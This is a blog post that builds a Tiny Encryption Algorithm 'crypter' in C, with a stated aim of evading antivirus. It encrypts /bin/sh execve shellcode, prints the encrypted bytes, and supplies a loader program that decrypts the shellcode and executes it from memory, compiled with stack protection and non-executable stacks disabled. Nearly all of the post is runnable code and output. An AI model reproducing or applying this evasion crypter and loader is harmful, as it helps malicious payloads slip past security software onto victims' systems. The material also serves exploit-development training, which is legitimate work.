Sunday, January 25, 2015

Tiny Encryption Algorithm Crypter

I chose to use Tiny Encryption Algorithm for writing my crypter because its small and its compilation doesn’t require importing any other libraries. Its also kind to the processor during the key decryption process (remember the point is to simple evade AV) so the encryption doesn’t have to be the strongest in the world. To find out more about crypters and their implementations you can check out this paper. Now onto the implementation of my crypter.
The reference code is from wikipedia. I implemented it in c to leverage the languages' speed. I used the basic /bin/sh shell-code to test the crypter. I tested it on an Ubuntu system.
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
void encrypt (uint32_t* v, uint32_t* k);
void decrypt (uint32_t* v, uint32_t* k);
void encryptBlock(uint8_t * data, uint32_t * len, uint32_t * key);
void decryptBlock(uint8_t * data, uint32_t * len, uint32_t * key);
uint32_t TEAKey[4] = {0x68697071, 0x65646172, 0x6d6f635f, 0x6c697665};
uint8_t shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main()
{
uint32_t* len;
uint32_t shellcode_len = 0;
uint32_t counter = 0;
shellcode_len = strlen(shellcode);
len = &shellcode_len;
encryptBlock(shellcode, len, TEAKey);
puts("\nEncrypted:");
for(counter = 0; counter < shellcode_len; counter++)
printf("\\x%02x", shellcode[counter]);
printf("\nLength: %d\n", shellcode_len);
return 0;
}
void encryptBlock(uint8_t * data, uint32_t * len, uint32_t * key)
{
uint32_t blocks, i;
uint32_t * data32;
// treat the data as 32 bit unsigned integers
data32 = (uint32_t *) data;
// Find the number of 8 byte blocks, add one for the length
blocks = (((*len) + 7) / 8) + 1;
// Set the last block to the original data length
data32[(blocks*2) - 1] = *len;
// Set the encrypted data length
*len = blocks * 8;
for(i = 0; i< blocks; i++)
{
encrypt(&data32[i*2], key);
}
}
void encrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */
uint32_t delta=0x9e3779b9; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i < 32; i++) { /* basic cycle start */
sum += delta;
v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
} /* end cycle */
v[0]=v0; v[1]=v1;
}
view raw tea.c hosted with ❤ by GitHub
We copy the shellcode we want to deploy into the shellcode field as shown above. You can change the key to whatever value you want to provided you retain the format. Next we compile the code in the c file "gcc TEA.c -o TEA" and then run it "./TEA". This will give us the crypted /bin/sh shellcode.  You should get get output like this.
 
roman@ubuntu:~/SLAE/Shellcode/Crypter$ ./TEA

Encrypted:
\x89\x45\x8b\x36\x8a\xc9\x8b\x48\xd6\xb2\x9a\x53\xc8\x59\x18\xd4\x46\x26\x6e\xbf\x33
\xdc\x20\x5d\x46\x01\x38\x7c\x4d\x3e\x23\xf1\xa3\xaa\xbf\x73\x46\xdb\xcc\xcd
Length: 40
 
We then paste the above shell-code into another c program which will execute the shellcode. Make sure the key you use in this program (lets call it TEAExecuteshellcode.c) is the same as the one you used in TEA.c So what this program basically does is run the decryption algorithm on the shellcode and then executes it.

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
void decrypt (uint32_t* v, uint32_t* k);
void decryptBlock(uint8_t * data, uint32_t * len, uint32_t * key);
uint32_t TEAKey[4] = {0x68697071, 0x65646172, 0x6d6f635f, 0x6c697665};
uint8_t shellcode[] = "\x89\x45\x8b\x36\x8a\xc9\x8b\x48\xd6\xb2\x9a\x53\xc8\x59\x18\xd4\x46\x26\x6e\xbf\x33\xdc\x20\x5d\x46\x01\x38\x7c\x4d\x3e\x23\xf1\xa3\xaa\xbf\x73\x46\xdb\xcc\xcd";
int main()
{
uint32_t* len;
uint32_t shellcode_len = 0;
uint32_t counter = 0;
shellcode_len = strlen(shellcode);
len = &shellcode_len;
decryptBlock(shellcode, len, TEAKey);
puts("\nDecrypting and running Shellcode:");
int (*ret)() = (int(*)())shellcode;
ret();
}
void decryptBlock(uint8_t * data, uint32_t * len, uint32_t * key)
{
uint32_t blocks, i;
uint32_t * data32;
// treat the data as 32 bit unsigned integers
data32 = (uint32_t *) data;
// Find the number of 8 byte blocks
blocks = (*len)/8;
for(i = 0; i< blocks; i++)
{
decrypt(&data32[i*2], key);
}
// Return the length of the original data
*len = data32[(blocks*2) - 1];
}
void decrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */
uint32_t delta=0x9e3779b9; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i<32; i++) { /* basic cycle start */
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum -= delta;
} /* end cycle */
v[0]=v0; v[1]=v1;
}
As usual we compile and run it. "gcc -fno-stack-protector -z execstack TEAExecuteShellcode.c -o TEAExecuteShellcode" Run the shellcode through objdump to make sure it has no nulls and then run the shellcode "./TEAExecuteshellcode". This should give us the /bin/sh shell which means our crypter is working.


 

No comments:

Post a Comment